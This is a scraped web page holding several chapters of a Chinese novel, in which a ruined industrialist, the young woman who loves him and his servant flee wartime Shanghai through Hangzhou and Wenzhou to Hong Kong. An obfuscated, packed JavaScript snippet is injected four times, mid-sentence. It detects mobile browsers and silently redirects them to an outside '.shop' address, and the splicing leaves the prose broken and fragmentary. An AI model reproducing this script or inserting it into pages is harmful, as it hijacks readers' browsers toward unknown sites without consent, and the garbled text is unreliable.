;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214988|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么有血?” “二少爷的。”薛莲山盘腿坐下,说,“他死了。” 定青没有再问,金雪池也不说话,片刻后,薛莲山低低地咳起来。 除中午休息的一个小时之外,这辆卡车在碎砖煤屑路上开了整整一整天,颠得他们浑身酸痛。这里既没有医药,也得不到充足的休息,薛莲山死去活来地咳了几个小时,胸口快速且浅层地起伏着,人已经没了力气,是在被动咳嗽。 定青似乎认为男女朋友的关系比主仆关系更亲近,一直瞪着她。金雪池长了这么几岁,已经不纠结他们到底是不是男女朋友了,她不给他实,他也不给她名,但这一路终究是要一起走下去的。只好硬着头皮往他身边凑,他的脑袋完全压到了她肩上,不知是晕了还是睡了,非常沉重。 晚上到了松江县,卡车把他们放在了一家客栈边。县城的客栈不能指望多好,但听不到枪声,确实让他们精神放松:总算离开上海了! 定青去楼下打了一桶水上来,甚至有兴致和她说闲话:“后天就能到杭州?” “唔,你能开一整天车吗?这辆卡车明天就不管我们了。” “能开七八个小时吧。” “那好,你明早还得去买一辆车。” 卡车上属于他们的货物,有两个钉死了的木箱子,里面放了文件、美金和几十件经得起颠簸的珠宝古董,除此以外,就是一个大包袱,每人只有两套可换洗的衣物,水壶、油布雨衣、火机、手帕,还装了一些零钱。薛莲山睡着,他们谁都搞不清楚这些零钱够不够用,以及到底是把零钱用光还是开箱拿美金。 一番研究后,金雪池道:“你先揣着零钱去问问吧!买个二手的就可以。” 当晚薛莲山发烧发得厉害,喉咙里呼呼地有痰音,自己却不知道咳出来,好在能勉强呼吸。他们找店家要来厚棉被,高高摞起来,把他摆弄着趴在上面。 定青在对面的床上睡着了,翻身对着墙壁。金雪池这头的蜡烛没有熄灭,她倾身凝望着他,手上无意识地绞着一条长辫子,绞来绞去,摸得它毛毛糙糙。 他的面貌是非常东方的,山根不会太高,眼窝也不深,不显得英气、凌厉,只是温文儒雅,很适合他那副笑眯眯的样子。金雪池从不敢光明正大地看他,但他现在是昏得不能再昏了,她便壮着胆子,伸手摸了摸他鼻梁上由眼镜压出的凹痕,浅浅一个坑。 指尖有轻微的潮湿感,他正在出汗。 我爱你啊。金雪池不禁微笑起来,凑得更近了,小心翼翼地摸了他的手。这双手和他的脸风格很不同,是一双真正从事过劳动的手,宽长粗大,暴着青筋。摸上去,皮肤也很硬,掌心里汗黏黏的。 她看了定青一眼,仍面朝里睡着,遂俯身在他的手背上吻了一吻。没人看到她,她的脸也兀自在黑暗中烧起来,觉得自己再也不会为菩萨所原谅,自己真是个放浪的姑娘。 50.在路上 第二天早上,定青去弄车,她吃店家送上来的馒头,余光注意到他缓缓动了动。 “你醒啦?” 薛莲山头晕脑胀地推开被子堆,缓了缓,穿鞋下楼去上厕所,顺便把嗓子眼里黏黏糊糊的东西都咳干净,洗了把脸。再回房时,他就有了些精神,“定青呢?” “弄卡车去了。” 他点了一下头,从枕边捡起眼镜戴上,苦笑道:“嗨呀,折腾死我了。” 金雪池默默看着他,薛莲山补充道:“也折腾死你了——谢谢。” 他面色如常。想来也是,经历的风浪太多,在昨天那样紧急的情况下,依赖她一下,又算得了什么?在她面前显现出衰病的样子又算什么?他就是病一辈子,也不会认为自己弱于她,完全不会为这种小事不好意思。再说了,他不知道和多少女人肌肤相亲过,到了完全不稀奇的地步,可她就只...... 金雪池感到一阵深重的无力:他们的世界并不对等。 “不,我没做什么。你要馒头吗?” 他要了一个过去,吃得很慢。快十点时定青回来,说从一家饲料厂弄到车了,见他有好转,显现出很高兴的样子。 一行人把行李搬上车,卡车哐当哐当地发动,向西南方向,往青浦开。深秋时节,满地落叶,轧上去是一片清脆绵密的碎声;土路边不知名的小黄花在风中摆动,风和日丽,天朗地清。 薛莲山身上罕见地没有香味,靠在栏板边上吹了许久的风,闭目凝思。随后,他向金雪池详细地介绍了目前的财产状况:他的地契、黄金全抵给邵子骏了,银行里存的钱全取出来、换成了美元,现在带在身上的美元有五十多万,她买的那一箱东西拍卖出去兴许会折价,但应该有六十多万。 “这就是我们现在所有的钱了。” 金雪池惊异道:“这还不够吗?单是吃利息,后半辈子也都够了。” 薛莲山伸出一根手指,“我解释一下。虽然我开了个大公司,看起来很有钱,但是这个公司的绝大多数价值是不能变现的,且必然地存在巨额债务。苏兴在的时候,债主视之为一种,咳,投资,乐意借我钱。现在苏兴垮了,他们将会来讨债。你知道债务有多少吗?” 金雪池有种不祥的预感,抿着嘴,不敢问。他继续说:“七百多万。我走之前把潮州罗汉山的那口矿抵押给银行了,他们大概已经收走了,那也剩六百多万。” “什么!”她简直没听过这么大的数字,“苏兴就直接......没了吗?你剩下的六口矿,没有人愿意收,就摆在那里了?” “我没有摆在那里。”他似乎有点得意,“反正我也拿不到,也不愿意让日本人入股,摆在那里,白给他们捡便宜。我已经发通知下去,让矿工随便拿,拿煤回家去卖也好,怎么都好,就只帮我办一件事。倘若听到上海沦陷的消息,把矿炸掉。” 金雪池猛地转脸看向他,定青也一直在听他们谈话,闻言车身猛地往左一歪。 倘若他像部分企业家一样,被迫签字,然后逃到香港躲战火,还能继续当个闲散老板;倘若日本人的动作不快,他能在跑到香港后,找个冤大头把其中几座卖出去;倘若什么都不做,也有几率在遥远的未来某天,回到故乡,通过法律手段拿回矿场所有权。 但他直接把矿炸了,断绝了自己和敌人的所有后路。日本人休想拿走一车煤,用来发动漆有旭日旗的火车、汽船、工厂。 身为商人,不事生产、不传学问、不上战场,国难当前,深憾不能做出贡献。玉石俱焚本是下下之策,但既然这六座矿不留给日寇,也算是他献给祖国的一份薄礼。 两日后,他们到达了杭州。 薛莲山大病初愈,一个极大的特点就是想把没吃的饭全吃回来。奈何杭州这座城市实在不好吃,口味寡淡,连杭帮菜的代表菜东坡肉都很普通,肉是肉,汁是汁,毫不调和;肉没有特别的口感,汁也没什么滋味。 金雪池一路都不说话,撂下筷子,心事重重地叹了口气。 薛莲山点头道:“我也觉得难吃。” “不是。薛先生,我想,我们是不是该省点钱呢?” “这也就是普通下馆子的钱,再省就吃糠咽菜风餐露宿了。”薛莲山笑道,“以及如果你欠别人三十块钱,是该在这种地方省一省;如果欠六百万,没有省的必要。” 横竖债务是他的,不是她的。但金雪池有一种他们是一体的潜意识,想起这样大的债务,还是觉得很难受。现在他没有实体产业了,在香港只是临时歇脚,没办法重新做大;美国又对华人企业家有重重限制,好像是只允许你跑外贸,不准你当老板开公司......这怎么办呢? 窗外山雨欲来,阴云厚厚地压着,缝隙出仍有日光漏下来,粼粼地映在湖面。 金雪池托腮望向窗外,几乎感到一种甜蜜的负担:他和她之间那种固化、既定、令人绝望的关系被撬开了一个口。他现在不再是大老板,却债台高筑了。 可是薛莲山并没有显现出颓势,她该没用还是没用。 又想起邵子骏。薛莲山说了他怎么死的,说完了,就完了。邵子骏的一生也完了。她想二少爷真傻,还没摸清对方的牌,就把自己的底牌打出去。我就不会为他去死,我猜他不会为我掉一滴眼泪。 但冒险的事她也做得不少,谁知道死亡会在哪一刻忽然降临? 想来想去,金雪池仍感到无解。这个人是没有心的。让他对她有一点点爱非常难,事实上,她离开潮州后做的每一件事都难,世上简直没有易事,只有当老豆的女儿最容易。什么都不做,老豆就爱她。 从杭州艮山门出发,一行人沿杭温古道向南。 该古道原是唐代驿道,现在有部分路段已经拓宽为简易公路,可通行卡车。沿路风都很大,卡车又是敞篷的,把人吹成了一根晚唐的蓬草,国破家亡,转徙漂泊。剩下的路段仍是细窄泥路,定青一没留神,前车头歪到了坡上,车尾翘起来,离了地。 附近一户人家都没有,三人先把箱子搬开,试图将麻绳绑在保险杠上往外拉,然而根本拉不动。 “或者再把箱子放到车尾上,”薛莲山道,“再搬几块大石头增加重量,我们再往下拽,把车头撬起来。” 金雪池绕着卡车转了两圈,发话了:“其实不应该往下拽,你们最好站在高处往上提。” “车尾都悬空了,还往上提吗?” “试试看吧。” 附近并没有高地,她就把绳子从路边的树冠上拋过去,这样一来,不管往哪里拉绳子,保险杠的受力都朝后上方的。三人用力拉了拉,车似乎有脱困的希望。 薛莲山教了她一下怎么发动、挂倒挡、刹车,车一回路面上就刹住。金雪池虽然担心撞死他们,但还是跃跃欲试。坐进驾驶室,她踩着离合,握着操纵杆,把脑袋伸出窗户外看:两人将绳子绑在腰上了。薛莲山罕见得没穿正装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216794|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只套一件宽大的绒线衫,远远朝她挥了挥手,完全是个大个子的年轻人。 车在拉拽下震动起来,她感觉动力不足,慢慢地加上油门,前轮开始碾着土坡向后退了。猛地冲上平地时,她立刻踩下刹车。然而卡车体积大,还往后冲了好一段距离,薛莲山和定青忙跳到路另一边的坡下躲避。 定青笑道:“还是金小姐说得对。” “大学生就是不一样。”薛莲山一边解绳子,一边笑道,“不过,怎么不说我的功劳?” 金雪池道:“你有什么功劳?人家定青肯定比你出的力气大。” “非也,腰上绑绳子拉东西,我是专业的。” 金雪池没料到他会主动开自己的玩笑,跟着笑起来。深秋的阳光下,她的脸被风吹得泛红,两条麻花辫搭在肩上,松松散散,周边形成了一圈金黄虚影。她这样年轻美丽,让薛莲山觉得自己也很年轻,轻轻快快跳上货厢,他在她脸上亲了一下。 这个吻没什么暧昧意味,亲得很重,是撞过来的。是一种乡下小伙子式的亲吻。 她枕着栏板,为了躲他,脑袋向后仰倒,在头部充血的眩晕中看到无数野花野草掠过去,掠得太快,影影绰绰、恍恍惚惚,像电影里的镜头,用以表现欢乐、情欲、似水流年。晕得快翻下去了,她就重新把脑袋支起来,眼神尚未聚焦,就看出他正靠着对面的栏板蹲坐,胳膊搭在膝盖上,望着她笑。 他说:“我还是觉得应该把车尾往下压。” “其实这是一种很正常的直觉。”金雪池道,“但是直觉往往不可靠,必须摒弃直觉,进行严谨的分析。出个小题目,一个屋子里有二十三个人,存在两人生日相同的概率是多少?” “唉,妹妹,我一节数学课都没上过。” “没事,感觉一下。” “我感觉很小,用23除以365吧。”他思考片刻,又补充道,“等等,两个人的话,那就是23/365*23/365。” 金雪池刚想说“不对”,又想起他说话的方式,觉得明知道他不学数学、还引诱他说出个错误答案是很不厚道的,她愿意模仿他说话,让自己听上去很亲和:“你能想到这样算,证明你对数学还是有了解。不过,答案是50%。” 薛莲山无论如何也不能相信有这么大的概率,他好奇是怎么算的,但他没有追着别人问个不停的习惯,只先笑眯眯道:“这么说,看似是人海茫茫,其实23个陌生人挤一屋,就有过半几率找到共享生日的人。人与人之间所谓的独特联结,比我们想象中的廉价得多。” “所以你的朋友很多。” “不错。和甲一样喜欢吃某个馆子的菜,和乙一样关注某公司的股票,和丙每周五出去喝酒,很容易就能收获新朋友。” “你自己也说廉价。” “廉价没什么不好,都是这样的。” “不都是这样的。”金雪池又把脑袋仰过去,“概率需要绝对随机和客观,但人有选择。” 不要为你自己开脱,你谁都没选择过。 薛莲山微微一笑,不接话了。他固然谁都没选择过,但像金雪池这样,总能知道他在说什么的人可没有几个。他不常跟普通朋友东拉西扯,拉扯到这么抽象的地步。 为避免定青一个人开八小时太过疲惫,下午换他开,还可以晚一点再找住宿。路上没什么车,他开得要多快有多快,晚上金雪池抬手一摸,脸都被劲风吹脱皮了。 51.航行 经萧山、诸暨,到达义乌,住了两晚。又从义乌佛堂码头搭乘乌篷船,沿东阳江、瓯江顺流而下,夜宿丽水。沿途风光秀美,水流湍急,在岸边的石头上激溅出白色的浮沫;两岸一段是石壁,万仞耸立,一段是平原,渠灌俨然。 水上的空气也是潮的,金雪池抱着膝盖坐在船头,一个劲儿地嗅,有时还伸手下去拨一拨水。船老大朝她说了几句话,她没听懂,定青翻译说:这一带流行疟疾,不要玩水。 接着,船老大又掏出一个瓷瓶叽里呱啦一顿说,是在兜售奎宁,一法币一片药。 三人于是都对到底流不流行疟疾抱怀疑态度。 定青说别买,就算保险起见,也上岸再买,这一片尚未沦陷,哪能一法币一片药?金雪池倒认为可以花钱买个平安,现在是在水上,他们若不买,船老大一杆子把船划进某个水匪寨子都有可能。船家和水匪向来是相互勾结的。 抵达温州后,三人都感到了不舒服,其实是旅途太过劳累所致,然而都怕自己得疟疾,吃了许多奎宁。 “现在就可以去买船票,因为只能买到三天后的,我们还能休息休息。”薛莲山对定青说着,习惯性去摸雪茄盒,摸了个空,只能噼噼啪啪地摆弄火机翻盖,“我不清楚具体在哪条路上,有一家怡和洋行,你找人打听吧。买英国陶格拉斯轮船公司的‘海阳’轮,我们买三等舱,金小姐一等舱。” 一路下来,都是他在指挥往哪个方向走、怎么换乘,定青大为钦佩,揣着零钱去了。金雪池坐在一旁的椅子上问:“不是不省小钱吗,三等舱?” “三等舱的一张票就要三十五法币。” 金雪池想说那我也三等舱,不过就是挤一点。但定青走得太快,她只在薛莲山面前说,倒像是得了便宜还卖乖,便不说了。 片刻后,薛莲山实在是心痒难耐——半个月都没沾到一点烟气了。他能自己抽,但不能闻二手烟,尤其不能闻密闭空间里一帮人抽出的味道,因为这个缘故,定青没在他面前抽过。 不过定青肯定随身带着有。他把手伸到定青的大衣口袋里摸,摸出一支香烟来。 他烟龄很长。山中湿冷,工作时间又长,上地面后腿脚直发颤,老工人就教他们抽一种叶子烟:将烟叶晾干后,不经过任何处理,切成小块,直接卷裹而成。由于没经过脱焦,劲儿特别大,他有时候爬梯子时觉得晕得快摔下去了,就赶紧上地抽几根。其他孩子都抽,八九岁就开始了。 去薛家后依然抽,不过改成了旱烟,也不讲什么卫生,男佣人一人吸一口,轮流传递那杆烟枪。 再后来抽香烟,再后来香烟也没法抽了,咳得太厉害。一个朋友给他介绍了这个叫做乌普曼的雪茄牌子,说烟气很柔和,且因为雪茄无需过肺的缘故,尼古丁不会吸进去。他尝试后觉得确实很好,就一直用了下来。 其实他知道有害健康,但平常抽得也不多,最近是因为心情烦躁才多抽几根,所以也没特意戒过。 点火的时候,他回头看了金雪池一眼。金雪池正在吃路上买回来的马蹄松,感受到视线后,也看他一眼,什么表示都没有。 薛莲山忽然觉得兴致索然:这个人是没有心的。 周二晚上八点,他们从安澜码头登船,第一件事就是去各找各的铺位。男女舱位是分开的,金雪池走进自己的舱房,里头相对的有两张床,其中一张上坐了人,自己那张上面搁了几个大箱子,因为刚才在下小雨,弄得床单都湿了。 她在心里勃然小怒了一会儿,才开口问对床:“请问是你的行李吗?” 对床的女人四十多岁,正三角形脸,眼皮也松弛了,后半段耷拉下来,显露出尖酸刻薄之相。闻言打量了她片刻,“听口音,你是广东人?” “是的。” “在温州做什么?” “我是从上海来的。” “去上海做什么?” 金雪池不说话了,把床上的两个箱子挪到她床下。 晚上下大雨,风撞得舷窗砰砰响。金雪池感觉很不妙,按理说每一次出海都要拜妈祖,但她在温州人生地不熟,没找到庙宇。大半夜她就在床上磕头,对床的女人也在磕头。 第二天早上依旧风雨大作,她没上甲板,只去餐厅吃了饭,转了许久也没看到薛莲山,只好回舱房。 对床的女人在绣一双亚麻拖鞋,密密麻麻的牡丹花瓣,密得瘆人,什么时候扎破了手,沁一滴血进去都发现不了。 女人找她搭话:“小姐姓什么?” 金雪池依旧是不理她。她继续道:“我是想和你搭个伴,都是老乡,一起去香港也有个照应。我夫家姓陈,住在温州。丈夫前两年走了,家里也没人了,听说打仗,只能自己带着孩子往香港跑。” “娘家在香港吗?” 陈太太冷哼一声,“指望他们?不如我自己把一点钱捏紧了!” 战乱年代,她一个无依无靠的寡妇也不容易。金雪池勉强与她搭了一会儿话,最后不欢而散,她觉得陈太太说话一股怨愤味儿,陈太太嫌她守口如瓶,一点聊天的意愿都没有。 她是在担心一件事儿:潮州有人在追杀她。香港离潮州并不远啊。 舱房也坐不下去了,金雪池转到活动室,看人家打麻将。她不肯下场和这些陌生的男男女女打,看也不明目张胆地看,端着一碗茶,飘飘悠悠地在附近打转。 半小时后,她觉得再看别人打对乳腺健康十分不利,挑了一桌只有年轻女孩的坐下去。三个女孩,两个是丫鬟打扮,穿湖绿色的小衫、小脚袴子——上海女人是不兴这么穿的;另一个大概是小姐,穿长袖曳地旗袍,里头缝了鼠皮——上海女人也不这么穿,宁可里面穿短袖旗袍,外面再罩一件长大衣。 金雪池在不知不觉中变成了一个洋气的人,换做以前,她是瞧不出别人的衣着有什么乡气之处的。 三人大概就是解个闷,没有认真打牌,一直用粤语嘻嘻哈哈地闲聊。待金雪池沉默地赢走三角钱,她们就开始严阵以待了,几圈过后,又被赢走七角。 金雪池把她们的闲聊全听进去了,“你是陈太太的女儿?我与陈太太一个舱房。” “哦,我是......”那位小姐立刻涨红了脸,“你听得懂啊?” “是啊,你们说我真讨厌。” 那位小姐差点昏过去了,起身朝她猛鞠一躬,“不好意思,对不住,我们就是......太心急了!这样,我再给你一块好不好?当我押双倍的注。” 金雪池也不好意思了,“哦,那也不用。” “你拿着吧!” “不用了不用了,我也就是找个消遣,这些也还给你。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223294|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不不不,你拿着。” 两人推阻好几翻,最后达成共识,继续打就不玩钱了。这位小姐名叫陈幼兰,今年十七岁,正待字闺中。 中午她们是一起去餐厅的,陈幼兰对她挺有好感,走着走着要上来挽她手臂。金雪池不喜欢跟人身体接触,躲了一下,陈幼兰就红着脸退开了,嘴里仍叽叽咕咕地问:“那么,你父母呢?” “我不是和父母一起的。” “噢!你和你先生一起来的?” 金雪池虽然不喜欢陈小姐挽她,但对于这位小姐还是很有好感,不愿意败坏自己在对方心中的形象,只能转变话题:“要吃什么?” 吃完午饭又打了几圈牌,她远远看到定青下到活动室,就辞别了陈小姐,假装自己只是在活动室里散步。 定青主动向她走来,“金小姐,下午好。” “下午好,薛先生呢?” “他在甲板上。” 外面仍在下大雨,她若是上甲板,那就是特地去找他了。金雪池先回舱房睡了个午觉,一不小心睡过了头,醒来时,舷窗外黑漆漆一片,陈太太也不知所踪。她不知道具体是几点钟,披上雨衣,迅速上了甲板。 雨势已经转小,仍丝丝缕缕飘着。海、天都是黑的,然而海是沉甸甸的实体,天是虚的,并没有真正可触及到的东西,只呈现出蟹壳般的青灰。她沿着船舷一路走、一路用手拍潮湿的木桩,远远看见薛莲山撑伞在船头站立,另一只手插在口袋里,海风吹得头发有点乱。 她加快脚步走过去,“薛先生,怎么站在这里?” 薛莲山不紧不慢地转身,“下雨前底下闷得慌。” “现在加钱可以升舱。” “上来透透气就好了,也不是多大的事,现在手头拮据,总要离大众近一些的。”他见她没有伞,只披雨衣,顺手就把她拨拉到自己伞下。雨衣隔在两人之间,滑腻腻、凉沁沁的,他隔着一层油布抱着她,时间久了,她的体温就慢慢渗过来了。 金雪池没有动,她心里愿意他永远尊贵、永远光风霁月,离大众远一些也没关系。 “我想到一件事。”他说,“到达香港后,你不要叫金雪池了,换个名字。你在船上没跟人聊闲天吧?” 金雪池自然知道这是什么缘故,“聊了,我说我叫Shirley。” 薛莲山一下子笑了出来,“这么洋气?” “正好说到我是上海来的,她们问我叫什么,我就说上海人流行互称英文名,免得她们问我姓什么。父亲姓金,我不愿编个别的。” 他摩挲她下巴的手速度慢下来,缓缓道:“妹妹,有一件事我要告诉你,也许你要怨我......” “没关系,我猜到了。他怎么死的?” “挨了一枪。” 金雪池抬眼望去,海天雾气空茫茫。 薛莲山仍在摸她的脸,没摸到眼泪。她就从来没有痛哭流涕、需要他安慰的时刻。当然,倘若她跟他倒苦水多了,他也不耐烦了;然而她既这样没有心,他就格外盼望有那么一两次。 说不定他现在告诉她:是活生生烧死的!她就要当着他哭了。 可是,伤害女人的事他怎么做得出来。 “其实有一个办法,”他摸着摸着,去揪她的鼻尖,“所有人都不会再问你的本姓是什么。” 52.上环 “自称是薛太太?” 每次他卖个关子,她都猜得出来。薛莲山笑道:“你愿意吗?” 他可是没允许过他的前女友自称薛太太,也许因为情况特殊,也许要激她。金雪池的一颗心已经缩得很紧了,嘴上仍乱讲:“我倒是无所谓,你愿意吗?有了太太,到那边去就不方便勾搭别人了。” “我什么时候说过要去勾搭别人了?” “你不是素来就......” “我和别的男人不一样。”他低声说,“谁跟了我,是要享我的福的。现在我欠六百万,我勾搭别人做什么,一起帮我还债吗?” 避重就轻,说他大方,不肯说她在身边。金雪池把他的手从脸上摘掉,“那我呢?” “你帮我还债。” 话说到这个地步,金雪池已经满足了,因为知道他并不是无赖。然而承诺和正面回应依旧是没有,像羽毛一样,在风中飘飘飞飞,不落地。 “而且我现在再借钱很困难,需要改造一下自身形象。妹妹,假如有两个人找你借钱,一个爱妻爱子爱宠物,第二个声称不婚不育,你愿意借给哪个?前者听起来更有责任感吧?后者听起来像是一卷铺盖就能跑路的......”他又去捏她的鼻子,“你这骨相长得真好。” 金雪池又把他的手摘掉,“我鼻子爱出油,你没摸到吗?” “我以为是潮气。”他说着,在她雨衣上的水珠上把手指一蹭。 “......你主动摸的,你还蹭?” “蹭雨衣,又不是蹭旗袍。” “我都不嫌弃你。” “我怎么了?” “你那天吐我手上。” “好,好,我错了。”薛莲山立刻又伸手去找她的鼻子,“我摸回来,行了吧?” 金雪池笑着一扭身躲开,披着雨衣下去了。 穿越海峡的时候,他们碰上了一次日军的巡逻舰,不过因为这艘船是英国的船,双方只是鸣笛致意,错开了船身。经过三日的航行,海日轮平安抵达维多利亚港。 过去在潮州的时候,金文彬天天讲香港如何如何繁华,然而她去过上海了,再来香港,感觉也不过如此。 上环码头比十六铺还乱许多,初冬时节,苦力仍没穿上衣,一个个驮着货包跑得飞快,后面有拿鞭子的工头追着抽。几个穿着笔挺白色制服、戴着船形帽的英国水手叼着烟卷,旁若无人地走过,留下一股浓郁的须后水味道。甚至也是印度巡捕在维持秩序,握着警棍乱舞乱挥——讨厌,在他们国内都不知道是些什么人,来了中国就是大爷。 粤语、英语、种种地域方言乱飞,这是殖民地特色,遑论内地太多人逃难过来了。 薛莲山领着他们走出码头区域,道:“有人来接。” 又有朋友。他总有朋友,什么时候他能孤立无援呢? 十几分钟后,一辆汽车停在石墩边,驾驶位的车窗摇下来,一个男人吹了声口哨。 薛莲山于是朝他走过去,拍了一下铁皮,笑道:“又开雪铁龙,没品味。” “雪铁龙怎么了?雪铁龙是最好的车。” 此人说话的声音很亮,相貌有一番阴柔美,唇红齿白、粉面桃花的,朝金雪池她们一看,叫道:“这小姐又是谁啊?” 薛莲山道:“我太太。”随后又向金雪池介绍,“这位是袁孝勋,行政局官员的公子。” 说是公子,其实袁孝勋年纪和他差不多大。同辈朋友都要以“谁谁的公子、少爷”来表明身份,他们的父亲五十多岁,正是财富与权力达到顶峰的时候。只有他这么自我介绍:“鄙人薛莲山。” 袁孝勋回头看了金雪池几眼,用一种惊异、高亢的语调说:“这就是薛太太啊?”那语气不免让金雪池有点窘,只是低下头。薛莲山道:“怎么,你是惊讶我结婚了,还是惊讶是这样一位太太?” “惊讶你选择这样一位太太结婚。” “我就说开雪铁龙的人没品味吧。” 袁孝勋不觉得自己被攻击了,相反,还颇为开心地笑了两声:“放行李吧!其实在接到你的信后,又有别的人让我来接。我老婆不是死了吗?老爷子挑的续弦夫人从温州来了,和你们同一艘船,不过,我让她们自己去汽车行租汽车。” 薛莲山于是一把要放行李的定青拽住了,“你应该去接人家。” “我不乐意,两次都是老爷子挑的人。” “谁让你在家里说不上话?我就能娶自己喜欢的。”薛莲山拍拍他的肩膀,“做点人事,啊,把你的新娘子接回去,我们租汽车去了。” 袁孝勋看他们真走了,忙解开安全带追出来,“薛莲山,你这让我多不好意思?说好了来我们家借住几天的,我姐听说你要来,让厨房......” “我并不知道你有喜事,等你的请帖,帖子来了,我们再去。代我向令姊问好。” 言罢薛莲山领着两人离开了,步行去汽车行租车。金雪池一路沉浸在自己的思绪中,他走她就走,他停她就停,他跟人说话,她就等着他。 薛莲山跟汽车行的人连比带划地交涉许久,对方听不懂国语,忽然回头,看到金雪池歪在窗台上放空,眼里是空的,一点活儿都没有,遂把她拎了过来:“你说我们要找个旅馆。” 金雪池“哦”一声,跟人交谈起来。 片刻后,他们谈好了价钱,汽车夫载着他们到了一家旅馆门口,几乎是瞬间就打道回府了。薛莲山深吸一口气,“你怎么说的?” “我说我们要找个旅馆。” “好吧,我是这么跟你说的,但你完全没想过要强调一下规格吗?” 此时他们正站在有些许坡度的石板路上,石板之间的缝隙里都是烟蒂、泥水、鱼鳞。街道很窄,两旁都是骑楼,几乎没什么阳光照进来;左手边是悬挂着烧鹅、叉烧、腊肠的烧腊档,桌案和招牌油光锃亮,右手边是堆满咸鱼海味的杂货铺,咸腥浓烈。所谓旅馆,甚至没有一楼的店面,只有个“高升客栈”的招牌挂出来。 金雪池有些心虚,她确实没跟人家说明白,只好劝他:“你不是要适应平民生活吗?香港现在挤得很,有落脚的地方就不错了。” “我倒是不介意,”他的表情明显是非常介意,“主要是你。” “我也不介意。” 薛莲山左看看右看看,他们现在脚边还有两个装了美元的大木箱,显然不可能走太远,只能认命,让定青先把箱子看住,自己从杂货铺旁边的一个小楼道里上至二楼。 高升客栈的掌柜转着两个油亮的核桃,见人就说:“三楼有间朝街的,带窗,两港币一夜。” “有热水吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226697|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “有热水。” “我们行李有点多,麻烦先让两个伙计帮忙搬上楼。我下午去银行换港币,到时候给你。” 核桃相撞的咯啦啦声中,夹着掌柜飘飘一句:“自己搬。” 那箱子不是一般的重,两个劳工也才堪堪搬得动,然而薛莲山和定青一咬牙抬起来了,上一层歇一层,到三楼后轰的一声撒了手,震得二楼天花板上的浮尘往下簌簌直掉。掌柜在下楼大骂一声,好像把他们的老母怎么样了。 热水也要自己下楼打,定青摇摇晃晃去了。薛莲山到窗前深呼吸了几口,然而闻到了对街烟熏火燎的烧腊味儿,掩着嘴咳起来。 金雪池眼里依然没活儿,不仅没活儿,还有一些发散性的思维,坐在床边小声道:“我有一个问题,可能有点不礼貌......” “请问。” “呃,就是,你不是不能剧烈运动吗?那你能不能......就是那种事......” 薛莲山说:“能,还挺久。” 金雪池尴尬得脸都发烫了,使劲儿绞自己的辫子,然而求知的欲望促使她继续问:“我看书上说,其剧烈程度不亚于慢跑。” “慢跑是有氧的呀,我也能慢跑。”他笑眯眯地瞥她一眼,“你不能光看书上说,有些东西,纸上得来终觉浅。” 定青打了一壶热水上来,他们润了润嗓子,饭也来不及吃,就出门找银行。 她独自在屋子里坐了会儿,舟车劳顿太久,好不容易上了四平八稳的大地,困乏感如潮水般袭来,顺势就睡了个午觉。她是被饿醒的,天色又不早了,而他们还没回。 金雪池觉得自己不是个东西,立刻打开行李箱把行李收拾出来,行李也没几件,她看到有一包脏手帕,于是拿到楼下去洗了。薛莲山回来的时候,她正往屋顶上拉着的一根绳子上搭手帕。 他一口气喝了半杯水,然后道:“明天八点汇丰会派人来接箱子。我们在外面吃了点东西才回来的,你吃了吗?” 金雪池摇摇头。定青立刻道:“那我现在——” “你歇歇吧,辛苦你了。”薛莲山从皮夹里翻出一张一块,递给她,“换了点零钱,自己下去。” 换做以前,他再累,也要风度翩翩地带她出去,现在却不跟她客气了。金雪池接过那张皱巴巴的纸币,心里很有些高兴。 晚上她盘腿坐在床上,窗户大开,潮湿的海风一阵阵涌入屋内,天边是暗沉但浓郁的孔雀蓝。定青脱了上衣在拿毛巾擦身;薛莲山找掌柜借来一根撬棍,将扁平刃口插入箱盖与箱身的缝隙中,一只手扶着箱子,一只手握着撬棍,用膝盖帮忙往下压。 咔的一声脆响,铁钉被翘起半寸,木屑簌簌地落在他手上。 